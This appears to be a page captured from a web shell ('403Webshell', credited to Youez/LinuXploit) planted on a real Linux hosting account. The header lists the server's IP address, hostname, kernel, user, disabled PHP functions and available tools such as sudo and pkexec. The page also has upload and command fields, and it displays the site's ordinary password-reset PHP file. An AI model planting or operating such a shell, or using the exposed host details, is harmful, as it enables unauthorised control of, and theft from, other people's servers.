403Webshell
Server IP : 213.255.246.8  /  Your IP : 216.73.217.178
Web Server : Apache
System : Linux dublin.stapolin.com 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : stapolin ( 1019)
PHP Version : 8.4.24
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stapolin/public_html/tracking.stapolin.com/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/stapolin/public_html/tracking.stapolin.com/admin/reset-password.php
<?php

declare(strict_types=1);

require_once __DIR__ . '/../includes/bootstrap.php';
require_installed();

$token = (string) ($_GET['token'] ?? $_POST['token'] ?? '');
$error = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    verify_csrf();
    $password = (string) ($_POST['password'] ?? '');
    if (strlen($password) < 12) {
        $error = 'Use a password of at least 12 characters.';
    } elseif (reset_password_with_token($token, $password)) {
        flash('success', 'Password updated. You can now log in.');
        redirect('admin/login.php');
    } else {
        $error = 'That reset link is invalid or has expired.';
    }
}
?>
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Reset password</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body class="bg-light">
<main class="container py-5" style="max-width: 520px;">
    <?php if ($error !== null): ?><div class="alert alert-danger"><?= e($error) ?></div><?php endif; ?>
    <form class="card card-body shadow-sm" method="post">
        <h1 class="h4">Choose a new password</h1>
        <?= csrf_field() ?>
        <input type="hidden" name="token" value="<?= e($token) ?>">
        <label class="form-label" for="password">New password</label>
        <input class="form-control mb-3" id="password" name="password" type="password" minlength="12" required>
        <button class="btn btn-primary" type="submit">Update password</button>
    </form>
</main>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit